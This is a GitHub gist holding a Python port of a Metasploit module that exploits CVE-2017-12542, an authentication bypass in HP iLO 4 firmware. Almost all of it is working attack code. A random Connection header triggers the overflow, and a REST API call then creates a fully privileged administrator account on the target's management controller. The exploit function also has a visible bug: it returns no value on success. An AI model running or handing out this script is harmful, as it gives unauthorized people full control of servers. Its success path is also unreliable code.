Last active
August 3, 2022 19:07
-
-
Save 3lpsy/a8ec3b2f800ab0461132394c999d4c93 to your computer and use it in GitHub Desktop.
2017-12542: Create Admin Account HP ILO Exploit (Metasploit Port to Python)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sys | |
import argparse | |
import requests | |
import random | |
import string | |
import urllib3 | |
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) | |
NAME = "'HP iLO 4 1.00-2.50 Authentication Bypass Administrator Account Creation'" | |
DESC = "This module exploits an authentication bypass in HP iLO 4 1.00 to 2.50, triggered by a buffer overflow in the Connection HTTP header handling by the web server. Exploiting this vulnerability gives full access to the REST API, allowing arbitrary accounts creation." | |
REFS = [ | |
["CVE", "2017-12542"], | |
["BID", "100467"], | |
[ | |
"URL", | |
"https://support.hpe.com/hpsc/doc/public/display?docId=emr_na-hpesbhf03769en_us", | |
], | |
[ | |
"URL", | |
"https://www.synacktiv.com/posts/exploit/hp-ilo-talk-at-recon-brx-2018.html", | |
], | |
] | |
ORIGINAL_METASPLOIT_AUTHOR = 'Fabien Perigaud <fabien[dot]perigaud[at]synacktiv[dot]com>' | |
VERBOSE = False | |
DEBUG = False | |
def invalid_option(param, msg=None): | |
print("Invalid option for: " + str(param)) | |
if msg: | |
print(msg) | |
sys.exit(1) | |
def rand_string(length): | |
"""Generate a random string of fixed length """ | |
letters = string.ascii_lowercase | |
return "".join(random.choice(letters) for i in range(length)) | |
def debug(*args, **kwargs): | |
global DEBUG | |
global VERBOSE | |
if DEBUG or VERBOSE: | |
print(*args, **kwargs) | |
def check(ip, port, path, no_ssl=False): | |
proto = "http" if no_ssl else "https" | |
url = f"{proto}://{ip}:{str(port)}{path}" | |
debug("Check Url:", url) | |
headers = {"Connection": rand_string(29)} | |
try: | |
debug("Connection String:", str(headers["Connection"])) | |
response = requests.get(url, headers=headers, verify=False) | |
except Exception as e: | |
reason = f"Exception Occurred: {str(e)}" | |
return False, reason | |
if int(response.status_code) == 200: | |
needle = '"Description":"iLO User Accounts"' | |
if needle in str(response.text): | |
reason = "Found Text: " + needle | |
return True, reason | |
else: | |
reason = "Failed to Find Text In Response: " + needle | |
return False, reason | |
else: | |
reason = "Incorrect Status Code During Check: " + str(response.status_code) | |
return False, reason | |
def exploit(ip, port, path, username, password, no_ssl=False): | |
proto = "http" if no_ssl else "https" | |
url = f"{proto}://{ip}:{str(port)}{path}" | |
data = {} | |
data["UserName"] = username | |
data["Password"] = password | |
data["Oem"] = {} | |
data["Oem"]["Hp"] = {} | |
data["Oem"]["Hp"]["LoginName"] = username | |
data["Oem"]["Hp"]["Privileges"] = {} | |
data["Oem"]["Hp"]["Privileges"]["LoginPriv"] = True | |
data["Oem"]["Hp"]["Privileges"]["RemoteConsolePriv"] = True | |
data["Oem"]["Hp"]["Privileges"]["UserConfigPriv"] = True | |
data["Oem"]["Hp"]["Privileges"]["VirtualMediaPriv"] = True | |
data["Oem"]["Hp"]["Privileges"]["VirtualPowerAndResetPriv"] = True | |
data["Oem"]["Hp"]["Privileges"]["iLOConfigPriv"] = True | |
headers = {"Connection": rand_string(29), "Content-Type": "application/json"} | |
try: | |
debug("Connection String:", str(headers["Connection"])) | |
response = requests.post(url, headers=headers, json=data, verify=False) | |
except Exception as e: | |
reason = f"Exception Occurred: {str(e)}" | |
return False, reason | |
if "InvalidPasswordLength" in str(response.text): | |
reason = f"Password {password} is too short." | |
return False, reason | |
if "UserAlreadyExist" in str(response.text): | |
reason = f"Unable to add login {username}, user already exists" | |
return False, reason | |
if int(response.status_code) != 201: | |
reason = f"Unknown error. Recieved non 201 response code" | |
return False, reason | |
if __name__ == "__main__": | |
parser = argparse.ArgumentParser() | |
parser.add_argument("-i", "--ip", action="store", type=str, help="target ip/host") | |
parser.add_argument( | |
"-p", "--port", action="store", type=int, default=443, help="target port" | |
) | |
parser.add_argument( | |
"--exploit-path", | |
action="store", | |
type=str, | |
default="/rest/v1/AccountService/Accounts", | |
help="the path to use to exploit (POST)", | |
) | |
parser.add_argument("--no-ssl", action="store_true", help="don't use ssl") | |
parser.add_argument( | |
"--check-path", | |
action="store", | |
type=str, | |
default="/rest/v1/AccountService/Accounts", | |
help="the path to use to check (GET)", | |
) | |
parser.add_argument("--no-check", action="store_true", help="don't check") | |
parser.add_argument("--check-only", action="store_true", help="only check") | |
parser.add_argument( | |
"-u", | |
"--username", | |
action="store", | |
type=str, | |
default="hackedadmin", | |
help="user to add", | |
) | |
parser.add_argument( | |
"-P", "--password", action="store", type=str, help="user password to add" | |
) | |
parser.add_argument("-D", "--debug", action="store_true", help="debug") | |
args = parser.parse_args() | |
ip = args.ip or invalid_option("ip", "Please provide a target.") | |
port = args.port | |
exploit_path = str(args.exploit_path) | |
no_ssl = bool(args.no_ssl) | |
check_path = str(args.check_path) | |
no_check = bool(args.no_check) | |
check_only = bool(args.check_only) | |
username = args.username | |
if args.debug: | |
DEBUG = True | |
if not no_check: | |
print("Checking...") | |
passed, reason = check(ip, port, check_path, no_ssl=no_ssl) | |
if not passed: | |
print("Check Failed") | |
print("Reason:", reason) | |
sys.exit(1) | |
else: | |
print("Check Passed") | |
if not check_only: | |
password = args.password or invalid_option( | |
"password", "Please provide a password" | |
) | |
print("Exploiting...") | |
passed, reason = exploit( | |
ip, port, exploit_path, username, password, no_ssl=no_ssl | |
) | |
if passed: | |
print(f"Account {username}/{password} created successfully.") | |
else: | |
print("Exploit Failed.") | |
print("Reason:", reason) | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
SSL was breaking so I ported the MSF Exploit Python so I could mess with it. Original Exploit: https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/admin/hp/hp_ilo_create_admin_account.rb